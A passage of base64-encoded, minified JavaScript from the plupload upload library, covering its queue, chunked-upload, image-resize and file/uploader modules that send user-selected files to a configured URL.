uc3RhdHMucHJvY2Vzc2luZ3x8dGhpcy5zdGF0cy5wYXVzZWQpfSxpc1N0b3BwZWQ6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zdGF0ZT09PXMuSURMRXx8dGhpcy5zdGF0ZT09PXMuREVTVFJPWUVEfSxjb3VudFNwYXJlU2xvdHM6ZnVuY3Rpb24oKXtyZXR1cm4gTWF0aC5tYXgodGhpcy5nZXRPcHRpb24oIm1heF9zbG90cyIpLXRoaXMuc3RhdHMucHJvY2Vzc2luZywwKX0sdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiB0aGlzLl9xdWV1ZS50b0FycmF5KCl9LGNsZWFyOmZ1bmN0aW9uKCl7dmFyIGU9dGhpcztyZXR1cm4gZS5zdGF0ZSE9PXMuSURMRT8oZS5iaW5kT25jZSgiU3RvcHBlZCIsZnVuY3Rpb24oKXtlLmNsZWFyKCl9KSxlLnN0b3AoKSk6KGUuX3F1ZXVlLmNsZWFyKCksdm9pZCBlLnN0YXRzLnJlc2V0KCkpfSxjYWxjU3RhdHM6ZnVuY3Rpb24oKXt2YXIgdD10aGlzLGk9dC5zdGF0cyxuPTAscj0wO3JldHVybiEhaSYmKGkucmVzZXQoKSx0LmZvckVhY2hJdGVtKGZ1bmN0aW9uKGUpe3N3aXRjaChlLnN0YXRlKXtjYXNlIHMuRE9ORTppLmRvbmUrKyxpLnVwbG9hZGVkPWkuZG9uZTticmVhaztjYXNlIHMuRkFJTEVEOmkuZmFpbGVkKys7YnJlYWs7Y2FzZSBzLlBST0NFU1NJTkc6aS5wcm9jZXNzaW5nKys7YnJlYWs7Y2FzZSBzLlBBVVNFRDppLnBhdXNlZCsrO2JyZWFrO2RlZmF1bHQ6aS5xdWV1ZWQrK31uKz1lLnByb2Nlc3NlZCwoIWUucHJvY2Vzc2VkVGltZXN0YW1wfHxlLnByb2Nlc3NlZFRpbWVzdGFtcD50LnN0YXJ0ZWRUaW1lc3RhbXApJiYocis9biksaS5wcm9jZXNzZWRQZXJTZWM9TWF0aC5jZWlsKHIvKCgrbmV3IERhdGUtdC5zdGFydGVkVGltZXN0YW1wfHwxKS8xZTMpKSxpLnByb2Nlc3NlZD1uLGkudG90YWwrPWUudG90YWwsaS50b3RhbCYmKGkucGVyY2VudD1NYXRoLmNlaWwoaS5wcm9jZXNzZWQvaS50b3RhbCoxMDApKX0pLHQucGVyY2VudD1pLnBlcmNlbnQsaS5sb2FkZWQ9aS5wcm9jZXNzZWQsaS5zaXplPWkudG90YWwsaS5ieXRlc1BlclNlYz1pLnByb2Nlc3NlZFBlclNlYywhMCl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXt2YXIgZT10aGlzO3JldHVybiBlLnN0YXRlIT09cy5ERVNUUk9ZRUQmJihlLnN0YXRlIT09cy5JRExFPyhlLmJpbmRPbmNlKCJTdG9wcGVkIixmdW5jdGlvbigpe3IuZGVsYXkuY2FsbChlLGUuZGVzdHJveSl9KSxlLnN0b3AoKSk6KGUuY2xlYXIoKSxpLnBhcmVudC5kZXN0cm95LmNhbGwodGhpcyksZS5fcXVldWU9ZS5zdGF0cz1udWxsLCEwKSl9fSksaX0ocyl9KSxlKCJwbHVwbG9hZC9RdWV1ZVVwbG9hZCIsWyJwbHVwbG9hZCIsInBsdXBsb2FkL2NvcmUvUXVldWUiXSxmdW5jdGlvbih0LG4pe3JldHVybiBmdW5jdGlvbihlKXtmdW5jdGlvbiBpKGUpe24uY2FsbCh0aGlzLHttYXhfc2xvdHM6MSxtYXhfcmV0cmllczowLGF1dG9fc3RhcnQ6ITEsZmluaXNoX2FjdGl2ZTohMSx1cmw6ITEsY2h1bmtfc2l6ZTowLG11bHRpcGFydDohMCxodHRwX21ldGhvZDoiUE9TVCIscGFyYW1zOnt9LGhlYWRlcnM6ITEsZmlsZV9kYXRhX25hbWU6ImZpbGUiLHNlbmRfZmlsZV9uYW1lOiEwLHN0b3Bfb25fZmFpbDohMH0pLHRoaXMuc2V0T3B0aW9uPWZ1bmN0aW9uKGUsdCl7Im9iamVjdCIhPXR5cGVvZiBlJiYibWF4X3VwbG9hZF9zbG90cyI9PWUmJihlPSJtYXhfc2xvdHMiKSxpLnByb3RvdHlwZS5zZXRPcHRpb24uY2FsbCh0aGlzLGUsdCwhMCl9LHRoaXMuc2V0T3B0aW9ucyhlKX1yZXR1cm4gdC5pbmhlcml0KGksZSksaX0obil9KSxlKCJwbHVwbG9hZC9RdWV1ZVJlc2l6ZSIsWyJwbHVwbG9hZCIsInBsdXBsb2FkL2NvcmUvUXVldWUiXSxmdW5jdGlvbih0LG4pe3JldHVybiBmdW5jdGlvbihlKXtmdW5jdGlvbiBpKGUpe24uY2FsbCh0aGlzLHttYXhfc2xvdHM6MSxtYXhfcmV0cmllczowLGF1dG9fc3RhcnQ6ITEsZmluaXNoX2FjdGl2ZTohMSxyZXNpemU6e319KSx0aGlzLnNldE9wdGlvbj1mdW5jdGlvbihlLHQpeyJvYmplY3QiIT10eXBlb2YgZSYmIm1heF9yZXNpemVfc2xvdHMiPT1lJiYoZT0ibWF4X3Nsb3RzIiksaS5wcm90b3R5cGUuc2V0T3B0aW9uLmNhbGwodGhpcyxlLHQsITApfSx0aGlzLnNldE9wdGlvbnMoZSl9cmV0dXJuIHQuaW5oZXJpdChpLGUpLGl9KG4pfSksZSgicGx1cGxvYWQvQ2h1bmtVcGxvYWRlciIsWyJwbHVwbG9hZCIsInBsdXBsb2FkL2NvcmUvQ29sbGVjdGlvbiIsInBsdXBsb2FkL2NvcmUvUXVldWVhYmxlIl0sZnVuY3Rpb24obCxlLGQpe2Z1bmN0aW9uIGkodSl7dmFyIGM7ZC5jYWxsKHRoaXMpLHRoaXMuX29wdGlvbnM9e2ZpbGVfZGF0YV9uYW1lOiJmaWxlIixoZWFkZXJzOiExLGh0dHBfbWV0aG9kOiJQT1NUIixtdWx0aXBhcnQ6ITAscGFyYW1zOnt9LHNlbmRfZmlsZV9uYW1lOiEwLHVybDohMX0sbC5leHRlbmQodGhpcyx7c3RhcnQ6ZnVuY3Rpb24oKXt2YXIgZSxpLHQsbixyLG89dGhpcyxzPXRoaXMuc3RhdGUsYT1vLl9vcHRpb25zO2lmKHRoaXMuc3RhdGU9PT1kLlBST0NFU1NJTkcpcmV0dXJuITE7dGhpcy5zdGFydGVkVGltZXN0YW1wfHwodGhpcy5zdGFydGVkVGltZXN0YW1wPStuZXcgRGF0ZSksdGhpcy5zdGF0ZT1kLlBST0NFU1NJTkcsdGhpcy50cmlnZ2VyKCJzdGF0ZWNoYW5nZWQiLHRoaXMuc3RhdGUscyksKGM9bmV3IGgpLnVwbG9hZCYmKGMudXBsb2FkLm9ucHJvZ3Jlc3M9ZnVuY3Rpb24oZSl7by5wcm9ncmVzcyhlLmxvYWRlZCxlLnRvdGFsKX0pLGMub25sb2FkPWZ1bmN0aW9uKCl7dmFyIGU9e3Jlc3BvbnNlOnRoaXMucmVzcG9uc2VUZXh0LHN0YXR1czp0aGlzLnN0YXR1cyxyZXNwb25zZUhlYWRlcnM6dGhpcy5nZXRBbGxSZXNwb25zZUhlYWRlcnMoKX07cmV0dXJuIHRoaXMuc3RhdHVzPDIwMHx8NDAwPD10aGlzLnN0YXR1cz9vLmZhaWxlZChlKTp2b2lkIG8uZG9uZShlKX0sYy5vbmVycm9yPWZ1bmN0aW9uKCl7by5mYWlsZWQoKX0sYy5vbmxvYWRlbmQ9ZnVuY3Rpb24oKXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7YyYmKGMuZGVzdHJveSgpLGM9bnVsbCl9LDEpfTt0cnl7ZT1hLm11bHRpcGFydD9hLnVybDoodD1hLnVybCxuPWEucGFyYW1zLHI9IiIsbC5lYWNoKG4sZnVuY3Rpb24oZSx0KXtyKz0ocj8iJiI6IiIpK2VuY29kZVVSSUNvbXBvbmVudCh0KSsiPSIrZW5jb2RlVVJJQ29tcG9uZW50KGUpfSksciYmKHQrPSgwPHQuaW5kZXhPZigiPyIpPyImIjoiPyIpK3IpLHQpLGMub3BlbihhLmh0dHBfbWV0aG9kLGUsITApLGwuaXNFbXB0eU9iaihhLmhlYWRlcnMpfHxsLmVhY2goYS5oZWFkZXJzLGZ1bmN0aW9uKGUsdCl7Yy5zZXRSZXF1ZXN0SGVhZGVyKHQsZSl9KSxhLm11bHRpcGFydD8oaT1uZXcgcCxsLmlzRW1wdHlPYmooYS5wYXJhbXMpfHxsLmVhY2goYS5wYXJhbXMsZnVuY3Rpb24oZSx0KXtpLmFwcGVuZCh0LGUpfSksaS5hcHBlbmQoYS5maWxlX2RhdGFfbmFtZSx1KSxjLnNlbmQoaSkpOigobC5pc0VtcHR5T2JqKGEuaGVhZGVycyl8fCFjLmhhc1JlcXVlc3RIZWFkZXIoImNvbnRlbnQtdHlwZSIpKSYmYy5zZXRSZXF1ZXN0SGVhZGVyKCJjb250ZW50LXR5cGUiLCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKSxjLnNlbmQodSkpLHRoaXMudHJpZ2dlcigic3RhcnRlZCIpfWNhdGNoKGUpe28uZmFpbGVkKCl9fSxzdG9wOmZ1bmN0aW9uKCl7YyYmKGMuYWJvcnQoKSxjLmRlc3Ryb3koKSxjPW51bGwpLGkucHJvdG90eXBlLnN0b3AuY2FsbCh0aGlzKX0sc2V0T3B0aW9uOmZ1bmN0aW9uKGUsdCl7aS5wcm90b3R5cGUuc2V0T3B0aW9uLmNhbGwodGhpcyxlLHQsITApfSxzZXRPcHRpb25zOmZ1bmN0aW9uKGUpe2kucHJvdG90eXBlLnNldE9wdGlvbi5jYWxsKHRoaXMsZSwhMCl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXt0aGlzLnN0b3AoKSxpLnByb3RvdHlwZS5kZXN0cm95LmNhbGwodGhpcyl9fSl9dmFyIGg9dy54aHIuWE1MSHR0cFJlcXVlc3QscD13Lnhoci5Gb3JtRGF0YTtyZXR1cm4gbC5pbmhlcml0KGksZCksaX0pLGUoInBsdXBsb2FkL0ZpbGVVcGxvYWRlciIsWyJwbHVwbG9hZCIsInBsdXBsb2FkL2NvcmUvQ29sbGVjdGlvbiIsInBsdXBsb2FkL2NvcmUvUXVldWVhYmxlIiwicGx1cGxvYWQvQ2h1bmtVcGxvYWRlciJdLGZ1bmN0aW9uKHAsZSxtLGYpe2Z1bmN0aW9uIHQoYSx1KXtmdW5jdGlvbiBjKCl7dmFyIHQ9MDtyZXR1cm4gZC5lYWNoKGZ1bmN0aW9uKGUpe2Uuc3RhdGU9PT1tLkRPTkUmJih0Kz1lLmVuZC1lLnN0YXJ0KX0pLHR9ZnVuY3Rpb24gbCgpe2Zvcih2YXIgZT0wO2U8aCYmZC5oYXNLZXkoZSk7KWUrKztyZXR1cm4gZX12YXIgZD1uZXcgZSxoPTE7bS5jYWxsKHRoaXMpLHRoaXMuX29wdGlvbnM9e2NodW5rX3NpemU6MCxwYXJhbXM6e30sc2VuZF9maWxlX25hbWU6ITAsc3RvcF9vbl9mYWlsOiEwfSxwLmV4dGVuZCh0aGlzLHtuYW1lOmEubmFtZSxzdGFydDpmdW5jdGlvbigpe3ZhciBlLGk9dGhpcyx0PXRoaXMuc3RhdGU7cmV0dXJuIHRoaXMuc3RhdGUhPT1tLlBST0NFU1NJTkcmJih0aGlzLnN0YXJ0ZWRUaW1lc3RhbXB8fCh0aGlzLnN0YXJ0ZWRUaW1lc3RhbXA9K25ldyBEYXRlKSx0aGlzLnN0YXRlPW0uUFJPQ0VTU0lORyx0aGlzLnRyaWdnZXIoInN0YXRlY2hhbmdlZCIsdGhpcy5zdGF0ZSx0KSxpLl9vcHRpb25zLnNlbmRfZmlsZV9uYW1lJiYoaS5fb3B0aW9ucy5wYXJhbXMubmFtZT1pLnRhcmdldF9uYW1lfHxpLm5hbWUpLGkuX29wdGlvbnMuY2h1bmtfc2l6ZT8oaD1NYXRoLmNlaWwoYS5zaXplL2kuX29wdGlvbnMuY2h1bmtfc2l6ZSksaS51cGxvYWRDaHVuayghMSwhMCkpOigoZT1uZXcgZihhKSkuYmluZCgicHJvZ3Jlc3MiLGZ1bmN0aW9uKGUpe2kucHJvZ3Jlc3MoZS5sb2FkZWQsZS50b3RhbCl9KSxlLmJpbmQoImRvbmUiLGZ1bmN0aW9uKGUsdCl7aS5kb25lKHQpfSksZS5iaW5kKCJmYWlsZWQiLGZ1bmN0aW9uKGUsdCl7aS5mYWlsZWQodCl9KSxlLnNldE9wdGlvbnMoaS5fb3B0aW9ucyksdS5hZGRJdGVtKGUpKSx2b2lkIHRoaXMudHJpZ2dlcigic3RhcnRlZCIpKX0sdXBsb2FkQ2h1bms6ZnVuY3Rpb24oZSxpKXt2YXIgdCxuLHI9dGhpcyxvPXRoaXMuZ2V0T3B0aW9uKCJjaHVua19zaXplIikscz17fTtyZXR1cm4gcy5zZXE9cGFyc2VJbnQoZSwxMCl8fGwoKSxzLnN0YXJ0PXMuc2VxKm8scy5lbmQ9TWF0aC5taW4ocy5zdGFydCtvLGEuc2l6ZSkscy50b3RhbD1hLnNpemUsIShzLnN0YXJ0PDB8fHMuc3RhcnQ+PWEuc2l6ZXx8KG49cC5leHRlbmRJbW11dGFibGUoe30sdGhpcy5nZXRPcHRpb25zKCkse3BhcmFtczp7Y2h1bms6cy5zZXEsY2h1bmtzOmh9fSksKHQ9bmV3IGYoYS5zbGljZShzLnN0YXJ0LHMuZW5kLGEudHlwZSkpKS5iaW5kKCJwcm9ncmVzcyIsZnVuY3Rpb24oZSl7ci5wcm9ncmVzcyhjKCkrZS5sb2FkZWQsYS5zaXplKX0pLHQuYmluZCgiZmFpbGVkIixmdW5jdGlvbihlLHQpe2QuYWRkKHMuc2VxLHAuZXh0ZW5kKHtzdGF0ZTptLkZBSUxFRH0scykpLHIudHJpZ2dlcigiY2h1bmt1cGxvYWRmYWlsZWQiLHAuZXh0ZW5kSW1tdXRhYmxlKHt9LHMsdCkpLG4uc3RvcF9vbl9mYWlsJiZyLmZhaWxlZCh0KX0pLHQuYmluZCgiZG9uZSIsZnVuY3Rpb24oZSx0KXtkLmFkZChzLnNlcSxwLmV4dGVuZCh7c3RhdGU6bS5ET05FfSxzKSksci50cmlnZ2VyKCJjaHVua3VwbG9hZGVkIixwLmV4dGVuZEltbXV0YWJsZSh7fSxzLHQpKSxjKCk+PWEuc2l6ZT8oci5wcm9ncmVzcyhhLnNpemUsYS5zaXplKSxyLmRvbmUodCkpOmkmJnAuZGVsYXkoZnVuY3Rpb24oKXtyLnVwbG9hZENodW5rKGwoKSxpKX0pfSksdC5iaW5kKCJwcm9jZXNzZWQiLGZ1bmN0aW9uKCl7dGhpcy5kZXN0cm95KCl9KSx0LnNldE9wdGlvbnMobiksZC5hZGQocy5zZXEscC5leHRlbmQoe3N0YXRlOm0uUFJPQ0VTU0lOR30scykpLHUuYWRkSXRlbSh0KSxpJiZ1LmNvdW50U3BhcmVTbG90cygpJiZyLnVwbG9hZENodW5rKGwoKSxpKSwwKSl9LGRlc3Ryb3k6ZnVuY3Rpb24oKXt0LnByb3RvdHlwZS5kZXN0cm95LmNhbGwodGhpcyksZC5jbGVhcigpfX0pfXJldHVybiBwLmluaGVyaXQodCxtKSx0fSksZSgicGx1cGxvYWQvSW1hZ2VSZXNpemVyIixbInBsdXBsb2FkIiwicGx1cGxvYWQvY29yZS9RdWV1ZWFibGUiXSxmdW5jdGlvbihlLHQpe2Z1bmN0aW9uIGkobil7dC5jYWxsKHRoaXMpLHRoaXMuX29wdGlvbnM9e3R5cGU6ImltYWdlL2pwZWciLHF1YWxpdHk6OTAsY3JvcDohMSxmaXQ6ITAscHJlc2VydmVIZWFkZXJzOiEwLHJlc2FtcGxlOiJkZWZhdWx0IixtdWx0aXBhc3M6ITB9LHRoaXMuc2V0T3B0aW9uPWZ1bmN0aW9uKGUpeygib2JqZWN0Ij09dHlwZW9mIGV8fHRoaXMuX29wdGlvbnMuaGFzT3duUHJvcGVydHkoZSkpJiZpLnByb3RvdHlwZS5zZXRPcHRpb24uYXBwbHkodGhpcyxhcmd1bWVudHMpfSx0aGlzLnN0YXJ0PWZ1bmN0aW9uKGUpe3ZhciB0LGk9dGhpcztlJiZ0aGlzLnNldE9wdGlvbnMoZS5yZXNpemUpLCh0PW5ldyByKS5iaW5kKCJsb2FkIixmdW5jdGlvbigpe3RoaXMucmVzaXplKGkuZ2V0T3B0aW9ucygpKX0pLHQuYmluZCgicmVzaXplIixmdW5jdGlvbigpe2kuZG9uZSh0aGlzLmdldEFzQmxvYihpLmdldE9wdGlvbigidHlwZSIpLGkuZ2V0T3B0aW9uKCJxdWFsaXR5IikpKSx0aGlzLmRlc3Ryb3koKX0pLHQuYmluZCgiZXJyb3IiLGZ1bmN0aW9uKCl7aS5mYWlsZWQoKSx0aGlzLmRlc3Ryb3koKX0pLHQubG9hZChuLGkuZ2V0T3B0aW9uKCJydW50aW1lT3B0aW9ucyIpKX19dmFyIHI9dy5pbWFnZS5JbWFnZTtyZXR1cm4gZS5pbmhlcml0KGksdCksZS5JbWFnZT1yLGl9KSxlKCJwbHVwbG9hZC9GaWxlIixbInBsdXBsb2FkIiwicGx1cGxvYWQvY29yZS9RdWV1ZWFibGUiLCJwbHVwbG9hZC9GaWxlVXBsb2FkZXIiLCJwbHVwbG9hZC9JbWFnZVJlc2l6ZXIiXSxmdW5jdGlvbihvLGkscyxhKXtmdW5jdGlvbiBlKG4sdCxyKXtpLmNhbGwodGhpcyksby5leHRlbmQodGhpcyx7aWQ6dGhpcy51aWQsbmFtZTpuLm5hbWUsdGFyZ2V0X25hbWU6bnVsbCx0eXBlOm4udHlwZSxzaXplOm4uc2l6ZSxvcmlnU2l6ZTpuLnNpemUsc3RhcnQ6ZnVuY3Rpb24oKXt2YXIgZSx0PXRoaXMuc3RhdGU7cmV0dXJuIHRoaXMuc3RhdGUhPT1pLlBST0NFU1NJTkcmJih0aGlzLnN0YXRlPWkuUFJPQ0VTU0lORyx0aGlzLnRyaWdnZXIoInN0YXRlY2hhbmdlZCIsdGhpcy5zdGF0ZSx0KSx0aGlzLnRyaWdnZXIoInN0YXJ0ZWQiKSwhby5pc0VtcHR5T2JqKHRoaXMuX29wdGlvbnMucmVzaXplKSYmKGU9dGhpcy50eXBlLC0xPG8uaW5BcnJheShlLFsiaW1hZ2UvanBlZyIsImltYWdlL3BuZyJdKSkmJmZ1bmN0aW9uKGUsdCl7aWYoZS5ydWlkKXt2YXIgaT1vLlJ1bnRpbWUuZ2V0SW5mbyhlLnJ1aWQpO2lmKGkpcmV0dXJuIGkuY2FuKCJzZW5kX2JpbmFyeV9zdHJpbmciKX1yZXR1cm4hMX0obik/dGhpcy5yZXNpemVBbmRVcGxvYWQoKTp0aGlzLnVwbG9hZCgpLCEwKX0sZ2V0U291cmNlOmZ1bmN0aW9uKCl7cmV0dXJuIG59LGdldE5hdGl2ZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmdldEZpbGUoKS5nZXRTb3VyY2UoKX0scmVzaXplQW5kVXBsb2FkOmZ1bmN0aW9uKCl7dmFyIGk9dGhpcyxlPWkuZ2V0T3B0aW9ucygpLHQ9bmV3IGEobik7dC5iaW5kKCJwcm9ncmVzcyIsZnVuY3Rpb24oZSl7aS5wcm9ncmVzcyhlLmxvYWRlZCxlLnRvdGFsKX0pLHQuYmluZCgiZG9uZSIsZnVuY3Rpb24oZSx0KXt0PXQsaS51cGxvYWQoKX0pLHQuYmluZCgiZmFpbGVkIixmdW5jdGlvbigpe2kudXBsb2FkKCl9KSx0LnNldE9wdGlvbigicnVudGltZU9wdGlvbnMiLHtydW50aW1lX29yZGVyOmUucnVudGltZXMscmVxdWlyZWRfY2FwczplLnJlcXVpcmVkX2ZlYXR1cmVzLHByZWZlcnJlZF9jYXBzOmUucHJlZmVycmVkX2NhcHMsc3dmX3VybDplLmZsYXNoX3N3Zl91cmwseGFwX3VybDplLnNpbHZlcmxpZ2h0X3hhcF91cmx9KSxyLmFkZEl0ZW0odCl9LHVwbG9hZDpmdW5jdGlvbigpe3ZhciBpPXRoaXMsZT1uZXcgcyhuLHQpO2UuYmluZCgicGF1c2VkIixmdW5jdGlvbigpe2kucGF1c2UoKX0pLGUuYmluZCgicmVzdW1lZCIsZnVuY3Rpb24oKXt0aGlzLnN0YXJ0KCl9KSxlLmJpbmQoInN0YXJ0ZWQiLGZ1bmN0aW9uKCl7aS50cmlnZ2VyKCJzdGFydHVwbG9hZCIpfSksZS5iaW5kKCJwcm9ncmVzcyIsZnVuY3Rpb24oZSl7aS5wcm9ncmVzcyhlLmxvYWRlZCxlLnRvdGFsKX0pLGUuYmluZCgiZG9uZSIsZnVuY3Rpb24oZSx0KXtpLmRvbmUodCl9KSxlLmJpbmQoImZhaWxlZCIsZnVuY3Rpb24oZSx0KXtpLmZhaWxlZCh0KX0pLGUuc2V0T3B0aW9ucyhpLmdldE9wdGlvbnMoKSksZS5zdGFydCgpfSxkZXN0cm95OmZ1bmN0aW9uKCl7ZS5wcm90b3R5cGUuZGVzdHJveS5jYWxsKHRoaXMpLG49bnVsbH19KX1yZXR1cm4gby5pbmhlcml0KGUsaSksZX0pLGUoInBsdXBsb2FkL1VwbG9hZGVyIixbInBsdXBsb2FkIiwicGx1cGxvYWQvY29yZS9Db2xsZWN0aW9uIiwicGx1cGxvYWQvY29yZS9RdWV1ZSIsInBsdXBsb2FkL1F1ZXVlVXBsb2FkIiwicGx1cGxvYWQvUXVldWVSZXNpemUiLCJwbHVwbG9hZC9GaWxlIl0sZnVuY3Rpb24ocCxlLG0sZixnLHgpe2Z1bmN0aW9uIHYoZSl7ZnVuY3Rpb24gbygpe3ZhciBlPWFbMF18fHVbMF07cmV0dXJuISFlJiZlLmdldFJ1bnRpbWUoKS51aWR9ZnVuY3Rpb24gaShlLHQpe2lmKGUuZ2V0T3B0aW9uKCJ1bmlxdWVfbmFtZXMiKSl7dmFyIGk9dC5uYW1lLm1hdGNoKC9cLihbXi5dKykkLyksbj0icGFydCI7aSYmKG49aVsxXSksdC50YXJnZXRfbmFtZT10LmlkKyIuIitufX1mdW5jdGlvbiBuKGUsdCl7dC5jb2RlPT09cC5JTklUX0VSUk9SP2UuZGVzdHJveSgpOnQuY29kZT09PXAuSFRUUF9FUlJPUiYmZS5zdGF0ZT09cC5TVEFSVEVEJiZlLnRyaWdnZXIoIkNhbmNlbFVwbG9hZCIpfWZ1bmN0aW9uIHMoZSl7ZS5mb3JFYWNoSXRlbShmdW5jdGlvbihlKXtlLmRlc3Ryb3koKX0pLGEubGVuZ3RoJiYocC5lYWNoKGEsZnVuY3Rpb24oZSl7ZS5kZXN0cm95KCl9KSxhPVtdKSx1Lmxlbmd0aCYmKHAuZWFjaCh1LGZ1bmN0aW9uKGUpe2UuZGVzdHJveSgpfSksdT1bXSksZD0hMSxjJiZjLmRlc3Ryb3koKSxsJiZsLmRlc3Ryb3koKSx0PWM9bD1udWxsfXZhciBjLGwscixhPVtdLHU9W10sZD0hMSxoPSExLHQ9KHI9cC5leHRlbmQoe2JhY2t3YXJkX2NvbXBhdGliaWxpdHk6ITAsY2h1bmtfc2l6ZTowLGZpbGVfZGF0YV9uYW1lOiJmaWxlIixmaWx0ZXJzOnttaW1lX3R5cGVzOiIqIixwcmV2ZW50X2R1cGxpY2F0ZXM6ITEsbWF4X2ZpbGVfc2l6ZTowfSxmbGFzaF9zd2ZfdXJsOiJqcy9Nb3hpZS5zd2YiLGh0dHBfbWV0aG9kOiJQT1NUIixtYXhfcmVzaXplX3Nsb3RzOjEsbWF4X3JldHJpZXM6MCxtYXhfdXBsb2FkX3Nsb3RzOjEsbXVsdGlwYXJ0OiEwLG11bHRpcGFydF9wYXJhbXM6e30sbXVsdGlfc2VsZWN0aW9uOiEwLHBhcmFtczp7fSxyZXNpemU6ITEscnVudGltZXM6cC5SdW50aW1lLm9yZGVyLHNlbmRfY2h1bmtfbnVtYmVyOiEwLHNlbmRfZmlsZV9uYW1lOiEwLHNpbHZlcmxpZ2h0X3hhcF91cmw6ImpzL01veGllLnhhcCIscmVxdWlyZWRfZmVhdHVyZXM6ITEscHJlZmVycmVkX2NhcHM6ITF9LGUpLHAuZWFjaChyLGZ1bmN0aW9uKGUsdCl7clt0XT15KHQsZSxyKX0pLHIpO20uY2FsbCh0aGlzKSxwLmV4dGVuZCh0aGlzLHtfb3B0aW9uczp0LGlkOnRoaXMudWlkLHN0YXRlOnAuU1RPUFBFRCxmZWF0dXJlczp7fSxzZXR0aW5nczp0LHJ1bnRpbWU6bnVsbCxmaWxlczpbXSx0b3RhbDp0aGlzLnN0YXRzLGluaXQ6ZnVuY3Rpb24oKXt2YXIgZSx0LHI9dGhpcztyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2YoZT1yLmdldE9wdGlvbigicHJlaW5pdCIpKT9lKHIpOnAuZWFjaChlLGZ1bmN0aW9uKGUsdCl7ci5iaW5kKHQsZSl9KSxmdW5jdGlvbigpe3RoaXMuYmluZCgiRmlsZXNBZGRlZCBGaWxlc1JlbW92ZWQiLGZ1bmN0aW9uKGUpe2UudHJpZ2dlcigiUXVldWVDaGFuZ2VkIiksZS5yZWZyZXNoKCl9LHRoaXMsOTk5KSx0aGlzLmJpbmQoIkJlZm9yZVVwbG9hZCIsaSksdGhpcy5iaW5kKCJTdG9wcGVkIixmdW5jdGlvbihlKXtlLnRyaWdnZXIoIlVwbG9hZENvbXBsZXRlIil9KSx0aGlzLmJpbmQoIkVycm9yIixuKSx0aGlzLmJpbmQoIkRlc3Ryb3kiLHMpfS5jYWxsKHIpLHAuZWFjaChbImNvbnRhaW5lciIsImJyb3dzZV9idXR0b24iLCJkcm9wX2VsZW1lbnQiXSxmdW5jdGlvbihlKXtyZXR1cm4gbnVsbD09PXIuZ2V0T3B0aW9uKGUpPyEodD17Y29kZTpwLklOSVRfRVJST1IsbWVzc2FnZTpwLnNwcmludGYocC50cmFuc2xhdGUoIiVzIHNwZWNpZmllZCwgYnV0IGNhbm5vdCBiZSBmb3VuZC4iKSxlKX0pOnZvaWQgMH0pLHQ/ci50cmlnZ2VyKCJFcnJvciIsdCk6ci5nZXRPcHRpb24oImJyb3dzZV9idXR0b24iKXx8ci5nZXRPcHRpb24oImRyb3BfZWxlbWVudCIpP3ZvaWQgZnVuY3Rpb24oZSl7dmFyIG49dGhpcyxyPTAsdD1bXSxvPXtydW50aW1lX29yZGVyOm4uZ2V0T3B0aW9uKCJydW50aW1lcyIpLHJlcXVpcmVkX2NhcHM6bi5nZXRPcHRpb24oInJlcXVpcmVkX2ZlYXR1cmVzIikscHJlZmVycmVkX2NhcHM6bi5nZXRPcHRpb24oInByZWZlcnJlZF9jYXBzIiksc3dmX3VybDpuLmdldE9wdGlvbigiZmxhc2hfc3dmX3VybCIpLHhhcF91cmw6bi5nZXRPcHRpb24oInNpbHZlcmxpZ2h0X3hhcF91cmwiKX07cC5lYWNoKG4uZ2V0T3B0aW9uKCJydW50aW1lcyIpLnNwbGl0KC9ccyosXHMqLyksZnVuY3Rpb24oZSl7bi5nZXRPcHRpb24oZSkmJihvW2VdPW4uZ2V0T3B0aW9uKGUpKX0pLG4uZ2V0T3B0aW9uKCJicm93c2VfYnV0dG9uIikmJnAuZWFjaChuLmdldE9wdGlvbigiYnJvd3NlX2J1dHRvbiIpLGZ1bmN0aW9uKGkpe3QucHVzaChmdW5jdGlvbih0KXt2YXIgZT1uZXcgdy5maWxlLkZpbGVJbnB1dChwLmV4dGVuZCh7fSxvLHthY2NlcHQ6bi5nZXRPcHRpb24oImZpbHRlcnMiKS5taW1lX3R5cGVzLG5hbWU6bi5nZXRPcHRpb24oImZpbGVfZGF0YV9uYW1lIiksbXVsdGlwbGU6bi5nZXRPcHRpb24oIm11bHRpX3NlbGVjdGlvbiIpLGNvbnRhaW5lcjpuLmdldE9wdGlvbigiY29udGFpbmVyIiksYnJvd3NlX2J1dHRvbjppfSkpO2Uub25yZWFkeT1mdW5jdGlvbigpe3ZhciBlPXAuUnVudGltZS5nZXRJbmZvKHRoaXMucnVpZCk7cC5leHRlbmQobi5mZWF0dXJlcyx7Y2h1bmtzOmUuY2FuKCJzbGljZV9ibG9iIiksbXVsdGlwYXJ0OmUuY2FuKCJzZW5kX211bHRpcGFydCIpLG11bHRpX3NlbGVjdGlvbjplLmNhbigic2VsZWN0X211bHRpcGxlIil9KSxyKyssYS5wdXNoKHRoaXMpLHQoKX0sZS5vbmNoYW5nZT1mdW5jdGlvbigpe24uYWRkRmlsZSh0aGlzLmZpbGVzKX0sZS5iaW5kKCJtb3VzZWVudGVyIG1vdXNlbGVhdmUgbW91c2Vkb3duIG1vdXNldXAiLGZ1bmN0aW9uKGUpe2h8fChuLmdldE9wdGlvbigiYnJvd3NlX2J1dHRvbl9ob3ZlciIpJiYoIm1vdXNlZW50ZXIiPT09ZS50eXBlP3AuYWRkQ2xhc3MoaSxuLmdldE9wdGlvbigiYnJvd3NlX2J1dHRvbl9ob3ZlciIpKToibW91c2VsZWF2ZSI9PT1lLnR5cGUmJnAucmVtb3ZlQ2xhc3MoaSxuLmdldE9wdGlvbigiYnJvd3NlX2J1dHRvbl9ob3ZlciIpKSksbi5nZXRPcHRpb24oImJyb3dzZV9idXR0b25fYWN0aXZlIikmJigibW91c2Vkb3duIj09PWUudHlwZT9wLmFkZENsYXNzKGksbi5nZXRPcHRpb24oImJyb3dzZV9idXR0b25fYWN0aXZlIikpOiJtb3VzZXVwIj09PWUudHlwZSYmcC5yZW1vdmVDbGFzcyhpLG4uZ2V0T3B0aW9uKCJicm93c2VfYnV0dG9uX2FjdGl2ZSIpKSkpfSksZS5iaW5kKCJtb3VzZWRvd24iLGZ1bmN0aW9uKCl7bi50cmlnZ2VyKCJCcm